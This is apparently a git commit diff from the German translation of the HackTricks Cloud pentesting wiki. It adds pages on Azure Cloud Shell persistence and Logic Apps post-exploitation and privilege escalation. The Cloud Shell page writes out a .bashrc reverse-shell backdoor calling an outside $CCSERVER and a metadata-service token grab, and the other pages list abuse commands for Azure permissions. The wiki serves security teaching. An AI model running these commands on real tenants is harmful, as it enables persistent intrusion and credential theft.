mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-29 06:03:26 -08:00
Translated ['src/pentesting-cloud/azure-security/az-persistence/az-cloud
This commit is contained in:
@@ -0,0 +1,56 @@
|
||||
# Az - Cloud Shell Persistence
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Cloud Shell Persistence
|
||||
|
||||
Azure Cloud Shell bietet Befehlszeilenzugriff zur Verwaltung von Azure-Ressourcen mit persistentem Speicher und automatischer Authentifizierung. Angreifer können dies ausnutzen, indem sie Hintertüren im persistenten Home-Verzeichnis platzieren:
|
||||
|
||||
* **Persistenter Speicher**: Das Home-Verzeichnis von Azure Cloud Shell ist auf einem Azure-Dateifreigabe gemountet und bleibt auch nach dem Ende der Sitzung intakt.
|
||||
* **Startskripte**: Dateien wie .bashrc werden automatisch zu Beginn jeder Sitzung ausgeführt, was eine persistente Ausführung beim Start der Cloud-Shell ermöglicht.
|
||||
|
||||
Beispiel-Hintertür in .bashrc:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Dieser Backdoor kann Befehle sogar 5 Minuten nach dem Abschluss der Cloud-Shell durch den Benutzer ausführen.
|
||||
|
||||
Zusätzlich Abfragen des Azure-Metadatenservices für Instanzdetails und Tokens:
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -s
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -0,0 +1,181 @@
|
||||
# Az - Logic Apps Post Exploitation
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Logic Apps Datenbank Post-Exploitation
|
||||
Für weitere Informationen zu Logic Apps siehe:
|
||||
|
||||
{% content-ref url="../az-services/az-logic-apps.md" %}
|
||||
[az-logic-apps.md](../az-services/az-logic-apps.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action"
|
||||
Mit diesen Berechtigungen kannst du Logic App-Workflows ändern und deren Identitäten verwalten. Insbesondere kannst du systemzugewiesene und benutzerzugewiesene verwaltete Identitäten für Workflows zuweisen oder entfernen, was es der Logic App ermöglicht, sich zu authentifizieren und auf andere Azure-Ressourcen ohne explizite Anmeldeinformationen zuzugreifen.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az logic workflow identity remove/assign \
|
||||
--name <workflow_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--system-assigned true \
|
||||
--user-assigned "/subscriptions/<subscription_id>/resourceGroups/<resource_group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<identity_name>"
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.Web/sites/read", "Microsoft.Web/sites/write"
|
||||
Mit diesen Berechtigungen können Sie Logic Apps erstellen oder aktualisieren, die auf einem App Service Plan gehostet werden. Dazu gehört das Ändern von Einstellungen wie das Aktivieren oder Deaktivieren der HTTPS-Durchsetzung.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az logicapp update \
|
||||
--resource-group <resource_group_name> \
|
||||
--name <logic_app_name> \
|
||||
--set httpsOnly=false
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.Web/sites/stop/action", "Microsoft.Web/sites/start/action" || "Microsoft.Web/sites/restart/action"
|
||||
Mit dieser Berechtigung können Sie eine Webanwendung starten, stoppen oder neu starten, einschließlich Logic Apps, die auf einem App Service Plan gehostet werden. Diese Aktion stellt sicher, dass eine zuvor gestoppte Anwendung online gebracht wird und ihre Funktionalität wieder aufnimmt. Dies kann Arbeitsabläufe stören, unbeabsichtigte Operationen auslösen oder Ausfallzeiten verursachen, indem Logic Apps unerwartet gestartet, gestoppt oder neu gestartet werden.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az webapp start/stop/restart \
|
||||
--name <logic_app_name> \
|
||||
--resource-group <resource_group_name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
|
||||
### "Microsoft.Web/sites/config/list/action", "Microsoft.Web/sites/read" && "Microsoft.Web/sites/config/write"
|
||||
|
||||
Mit dieser Berechtigung können Sie Einstellungen für Webanwendungen konfigurieren oder ändern, einschließlich Logic Apps, die auf einem App Service Plan gehostet werden. Dies ermöglicht Änderungen an Anwendungseinstellungen, Verbindungszeichenfolgen, Authentifizierungskonfigurationen und mehr.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az logicapp config appsettings set \
|
||||
--name <logic_app_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--settings "<key>=<value>"
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.Logic/integrationAccounts/write"
|
||||
Mit dieser Berechtigung können Sie Azure Logic Apps-Integrationskonten erstellen, aktualisieren oder löschen. Dazu gehört die Verwaltung von Integrationskontenebene-Konfigurationen wie Maps, Schemata, Partner, Vereinbarungen und mehr.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az logic integration-account create \
|
||||
--resource-group <resource_group_name> \
|
||||
--name <integration_account_name> \
|
||||
--location <location> \
|
||||
--sku <Standard|Free> \
|
||||
--state Enabled
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/batchConfigurations/write"
|
||||
|
||||
Mit dieser Berechtigung können Sie Batchkonfigurationen innerhalb eines Azure Logic Apps-Integrationskontos erstellen oder ändern. Batchkonfigurationen definieren, wie Logic Apps eingehende Nachrichten für die Batchverarbeitung verarbeiten und gruppieren.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az logic integration-account batch-configuration create \
|
||||
--resource-group <resource_group_name> \
|
||||
--integration-account-name <integration_account_name> \
|
||||
--name <batch_configuration_name> \
|
||||
--release-criteria '{
|
||||
"messageCount": 100,
|
||||
"batchSize": 1048576,
|
||||
}'
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/maps/write"
|
||||
Mit dieser Berechtigung können Sie Karten innerhalb eines Azure Logic Apps-Integrationskontos erstellen oder ändern. Karten werden verwendet, um Daten von einem Format in ein anderes zu transformieren, was eine nahtlose Integration zwischen verschiedenen Systemen und Anwendungen ermöglicht.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az logic integration-account map create \
|
||||
--resource-group <resource_group_name> \
|
||||
--integration-account-name <integration_account_name> \
|
||||
--name <map_name> \
|
||||
--map-type <Xslt|Xslt20|Xslt30> \
|
||||
--content-type application/xml \
|
||||
--map-content map-content.xslt
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/partners/write"
|
||||
Mit dieser Berechtigung können Sie Partner in einem Azure Logic Apps-Integrationskonto erstellen oder ändern. Partner repräsentieren Entitäten oder Systeme, die an Geschäftsprozessen (B2B) teilnehmen.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az logic integration-account partner create \
|
||||
--resource-group <resource_group_name> \
|
||||
--integration-account-name <integration_account_name> \
|
||||
--name <partner_name> \
|
||||
--partner-type <partner-type> \
|
||||
--content '{
|
||||
"b2b": {
|
||||
"businessIdentities": [
|
||||
{
|
||||
"qualifier": "ZZ",
|
||||
"value": "TradingPartner1"
|
||||
}
|
||||
]
|
||||
}
|
||||
}'
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/sessions/write"
|
||||
Mit dieser Berechtigung können Sie Sitzungen innerhalb eines Azure Logic Apps-Integrationskontos erstellen oder ändern. Sitzungen werden in B2B-Workflows verwendet, um Nachrichten zu gruppieren und verwandte Transaktionen über einen definierten Zeitraum zu verfolgen.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az logic integration-account session create \
|
||||
--resource-group <resource_group_name> \
|
||||
--integration-account-name <integration_account_name> \
|
||||
--name <session_name> \
|
||||
--content '{
|
||||
"properties": {
|
||||
"sessionId": "session123",
|
||||
"data": {
|
||||
"key1": "value1",
|
||||
"key2": "value2"
|
||||
}
|
||||
}
|
||||
}'
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "*/delete"
|
||||
Mit diesen Berechtigungen können Sie Ressourcen im Zusammenhang mit Azure Logic Apps löschen.
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -0,0 +1,77 @@
|
||||
# Az - Logic Apps Privesc
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Logic Apps Privesc
|
||||
Für weitere Informationen zur SQL-Datenbank siehe:
|
||||
|
||||
{% content-ref url="../az-services/az-logic-apps.md" %}
|
||||
[az-logic-apps.md](../az-services/az-logic-apps.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### ("Microsoft.Resources/subscriptions/resourcegroups/read", "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action") && ("Microsoft.Logic/workflows/triggers/run/action")
|
||||
|
||||
Mit dieser Berechtigung kannst du Azure Logic Apps-Workflows erstellen oder aktualisieren. Workflows definieren automatisierte Prozesse und Integrationen zwischen verschiedenen Systemen und Diensten.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az logic workflow create \
|
||||
--resource-group <resource_group_name> \
|
||||
--name <workflow_name> \
|
||||
--definition <workflow_definition_file.json> \
|
||||
--location <location>
|
||||
|
||||
az logic workflow update \
|
||||
--name my-new-workflow \
|
||||
--resource-group logicappgroup \
|
||||
--definition <workflow_definition_file.json>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Und nachdem Sie es geändert haben, können Sie es mit folgendem Befehl ausführen:
|
||||
```bash
|
||||
az rest \
|
||||
--method post \
|
||||
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourcegroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/run?api-version=2016-10-01" \
|
||||
--body '{}' \
|
||||
--headers "Content-Type=application/json"
|
||||
```
|
||||
### ("Microsoft.Web/sites/read", "Microsoft.Web/sites/basicPublishingCredentialsPolicies/read", "Microsoft.Web/sites/write", "Microsoft.Web/sites/config/list/action") && ("Microsoft.Web/sites/start/action")
|
||||
Mit diesen Berechtigungen können Sie Logic App-Workflows mit ZIP-Datei-Bereitstellungen bereitstellen. Diese Berechtigungen ermöglichen Aktionen wie das Lesen von Anwendungsdetails, den Zugriff auf Veröffentlichungsanmeldeinformationen, das Schreiben von Änderungen und das Auflisten von Anwendungs-Konfigurationen. Neben den Startberechtigungen können Sie eine neue Logic App mit dem gewünschten Inhalt aktualisieren und bereitstellen.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az logicapp deployment source config-zip \
|
||||
--name <logic_app_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--src <path_to_zip_file>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -17,9 +17,9 @@ Jede App läuft in einer Sandbox, aber die Isolation hängt von den App Service-
|
||||
|
||||
Apps haben einige interessante Konfigurationen:
|
||||
|
||||
- **Always On**: Stellt sicher, dass die App immer läuft. Wenn dies nicht aktiviert ist, wird die App nach 20 Minuten Inaktivität gestoppt und startet wieder, wenn eine Anfrage eingeht.
|
||||
- **Always On**: Stellt sicher, dass die App immer läuft. Wenn dies nicht aktiviert ist, wird die App nach 20 Minuten Inaktivität gestoppt und startet erneut, wenn eine Anfrage eingeht.
|
||||
- Dies ist entscheidend, wenn Sie einen Webjob haben, der kontinuierlich laufen muss, da der Webjob stoppt, wenn die App stoppt.
|
||||
- **SSH**: Wenn aktiviert, kann ein Benutzer mit ausreichenden Berechtigungen über SSH eine Verbindung zur App herstellen.
|
||||
- **SSH**: Wenn aktiviert, kann sich ein Benutzer mit ausreichenden Berechtigungen über SSH mit der App verbinden.
|
||||
- **Debugging**: Wenn aktiviert, kann ein Benutzer mit ausreichenden Berechtigungen die App debuggen. Dies wird jedoch automatisch alle 48 Stunden deaktiviert.
|
||||
- **Web App + Datenbank**: Die Webkonsole ermöglicht es, eine App mit einer Datenbank zu erstellen. In diesem Fall ist es möglich, die zu verwendende Datenbank auszuwählen (SQLAzure, PostgreSQL, MySQL, MongoDB), und es ermöglicht auch die Erstellung eines Azure Cache für Redis.
|
||||
- Die URL, die die Anmeldeinformationen für die Datenbank und Redis enthält, wird in den **appsettings** gespeichert.
|
||||
@@ -32,10 +32,10 @@ Beim Erstellen einer Webanwendung (und einer Azure-Funktion normalerweise) ist e
|
||||
|
||||
Um auf die SCM- und FTP-Server zuzugreifen, sind ein **Benutzername und ein Passwort** erforderlich. Daher stellt Azure einige **APIs zur Verfügung, um die URLs** zu diesen Plattformen und die Anmeldeinformationen zu erhalten.
|
||||
|
||||
Der **FTP-Server hat keine besondere Magie**, mit der gültigen URL, dem Benutzernamen und dem Passwort ist es möglich, eine Verbindung herzustellen und Lese- und Schreibberechtigungen über die App-Umgebung zu erhalten.
|
||||
Der **FTP-Server hat keine besondere Magie**, mit der gültigen URL, dem Benutzernamen und dem Passwort ist es möglich, sich zu verbinden und Lese- und Schreibberechtigungen über die App-Umgebung zu erhalten.
|
||||
|
||||
Das SCM
|
||||
Es ist möglich, sich über einen Webbrowser mit `https://<SMC-URL>/BasicAuth` mit dem SCM zu verbinden und alle Dateien und Bereitstellungen dort zu überprüfen.
|
||||
Es ist möglich, sich über einen Webbrowser unter `https://<SMC-URL>/BasicAuth` mit dem SCM zu verbinden und alle Dateien und Bereitstellungen dort zu überprüfen.
|
||||
|
||||
### Kudu
|
||||
|
||||
@@ -61,7 +61,7 @@ App Services erlauben standardmäßig das Hochladen des Codes als Zip-Datei, erm
|
||||
- Die derzeit unterstützten Drittanbieterquellen sind **Github** und **Bitbucket**.
|
||||
- Sie können die Authentifizierungstokens erhalten, indem Sie `az rest --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"` ausführen.
|
||||
- Azure wird standardmäßig eine **Github Action** einrichten, um den Code jedes Mal in den App Service bereitzustellen, wenn der Code aktualisiert wird.
|
||||
- Es ist auch möglich, ein **remote git repository** (mit Benutzername und Passwort) anzugeben, um den Code von dort abzurufen.
|
||||
- Es ist auch möglich, ein **remote git repository** (mit Benutzername und Passwort) anzugeben, um den Code von dort zu erhalten.
|
||||
- Sie können die Anmeldeinformationen für das Remote-Repo erhalten, indem Sie `az webapp deployment source show --name <app-name> --resource-group <res-group>` oder `az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"` ausführen.
|
||||
- Es ist auch möglich, ein **Azure Repository** zu verwenden.
|
||||
- Es ist auch möglich, ein **lokales git repository** zu konfigurieren.
|
||||
@@ -72,10 +72,10 @@ App Services erlauben standardmäßig das Hochladen des Codes als Zip-Datei, erm
|
||||
|
||||
Azure WebJobs sind **Hintergrundaufgaben, die in der Azure App Service-Umgebung ausgeführt werden**. Sie ermöglichen Entwicklern, Skripte oder Programme neben ihren Webanwendungen auszuführen, was es einfacher macht, asynchrone oder zeitintensive Operationen wie Datei-Processing, Datenverarbeitung oder geplante Aufgaben zu handhaben.
|
||||
Es gibt 2 Arten von Webjobs:
|
||||
- **Continuous**: Läuft ununterbrochen in einer Schleife und wird sofort nach der Erstellung ausgelöst. Es ist ideal für Aufgaben, die eine ständige Verarbeitung erfordern. Wenn die App jedoch stoppt, weil Always On deaktiviert ist und sie in den letzten 20 Minuten keine Anfrage erhalten hat, stoppt auch der Webjob.
|
||||
- **Continuous**: Läuft ununterbrochen in einer Schleife und wird sofort nach der Erstellung ausgelöst. Es ist ideal für Aufgaben, die eine ständige Verarbeitung erfordern. Wenn die App jedoch stoppt, weil Always On deaktiviert ist und sie in den letzten 20 Minuten keine Anfrage erhalten hat, wird auch der Webjob gestoppt.
|
||||
- **Triggered**: Läuft auf Abruf oder basierend auf einem Zeitplan. Es eignet sich am besten für periodische Aufgaben, wie Batch-Datenaktualisierungen oder Wartungsroutinen.
|
||||
|
||||
Webjobs sind aus der Perspektive eines Angreifers sehr interessant, da sie verwendet werden könnten, um **Code** in der Umgebung auszuführen und **Berechtigungen** auf die angehängten verwalteten Identitäten **zu eskalieren**.
|
||||
Webjobs sind aus der Perspektive eines Angreifers sehr interessant, da sie verwendet werden könnten, um **Code** in der Umgebung auszuführen und **Berechtigungen** auf die angehängten verwalteten Identitäten zu **eskalieren**.
|
||||
|
||||
Darüber hinaus ist es immer interessant, die von den Webjobs generierten **Protokolle** zu überprüfen, da sie **sensible Informationen** enthalten könnten.
|
||||
|
||||
@@ -87,7 +87,7 @@ Darüber hinaus ist es möglich, einen **Prozentsatz des Traffics** an einen bes
|
||||
|
||||
## Azure Function Apps
|
||||
|
||||
Im Grunde sind **Azure Function Apps eine Untergruppe von Azure App Service** in der Webkonsole, und wenn Sie zur Webkonsole gehen und alle App-Dienste auflisten oder `az webapp list` im az cli ausführen, werden Sie in der Lage sein, **die Function Apps dort ebenfalls aufgelistet zu sehen**.
|
||||
Im Grunde sind **Azure Function Apps eine Untergruppe von Azure App Service** in der Webkonsole, und wenn Sie zur Webkonsole gehen und alle App-Dienste auflisten oder `az webapp list` im az cli ausführen, werden Sie auch **die Function Apps dort aufgelistet sehen**.
|
||||
|
||||
Daher haben beide Dienste tatsächlich größtenteils die **gleichen Konfigurationen, Funktionen und Optionen im az cli**, obwohl sie sie möglicherweise etwas anders konfigurieren (wie Standardwerte von appsettings oder die Verwendung eines Speicherkontos in den Function Apps).
|
||||
|
||||
@@ -181,10 +181,55 @@ az webapp hybrid-connections list --name <name> --resource-group <res-group>
|
||||
|
||||
{{#tab name="Az Powershell" }}
|
||||
```bash
|
||||
Get-Command -Module Az.Websites
|
||||
|
||||
# Get App Services and Function Apps
|
||||
Get-AzWebApp
|
||||
# Get only App Services
|
||||
Get-AzWebApp | ?{$_.Kind -notmatch "functionapp"}
|
||||
|
||||
# Retrieves details of a specific App Service Environment in the specified resource group.
|
||||
Get-AzAppServiceEnvironment -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
# Retrieves the access restriction configuration for a specified Web App.
|
||||
Get-AzWebAppAccessRestrictionConfig -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
# Retrieves the SSL certificates for a specified resource group.
|
||||
Get-AzWebAppCertificate -ResourceGroupName <ResourceGroupName>
|
||||
# Retrieves the continuous deployment URL for a containerized Web App.
|
||||
Get-AzWebAppContainerContinuousDeploymentUrl -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
# Retrieves the list of continuous WebJobs for a specified Web App.
|
||||
Get-AzWebAppWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName>
|
||||
# Retrieves the list of triggered WebJobs for a specified Web App.
|
||||
Get-AzWebAppTriggeredWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName>
|
||||
|
||||
# Retrieves details of a deleted Web App in the specified resource group.
|
||||
Get-AzDeletedWebApp -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
# Retrieves a list of snapshots for a specified Web App.
|
||||
Get-AzWebAppSnapshot -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
# Retrieves the history of a specific triggered WebJob for a Web App.
|
||||
Get-AzWebAppTriggeredWebJobHistory -ResourceGroupName <ResourceGroupName> -AppName <AppName> -Name <Name>
|
||||
|
||||
# Retrieves information about deployment slots for a specified Web App.
|
||||
Get-AzWebAppSlot -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
# Retrieves the continuous WebJobs for a specific deployment slot of a Web App.
|
||||
Get-AzWebAppSlotWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName> -SlotName <SlotName>
|
||||
# Retrieves the triggered WebJobs for a specific deployment slot of a Web App.
|
||||
Get-AzWebAppSlotTriggeredWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName> -SlotName <SlotName>
|
||||
# Retrieves the history of a specific triggered WebJob for a deployment slot of a Web App.
|
||||
Get-AzWebAppSlotTriggeredWebJobHistory -ResourceGroupName <ResourceGroupName> -AppName <AppName> -SlotName <SlotName> -Name <Name>
|
||||
# Retrieves the continuous WebJobs for a Web App.
|
||||
Get-AzWebAppContinuousWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName>
|
||||
# Retrieves the continuous WebJobs for a specific deployment slot of a Web App.
|
||||
Get-AzWebAppSlotContinuousWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName> -SlotName <SlotName>
|
||||
|
||||
# Retrieves the traffic routing rules for a Web App.
|
||||
Get-AzWebAppTrafficRouting -ResourceGroupName <ResourceGroupName> -WebAppName <WebAppName> -RuleName <RuleName>
|
||||
|
||||
# Retrieves details of a specific backup for a Web App.
|
||||
Get-AzWebAppBackup -ResourceGroupName <ResourceGroupName> -Name <Name> -BackupId <BackupId>
|
||||
# Retrieves the backup configuration for a Web App.
|
||||
Get-AzWebAppBackupConfiguration -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
# Retrieves the list of all backups for a Web App.
|
||||
Get-AzWebAppBackupList -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
|
||||
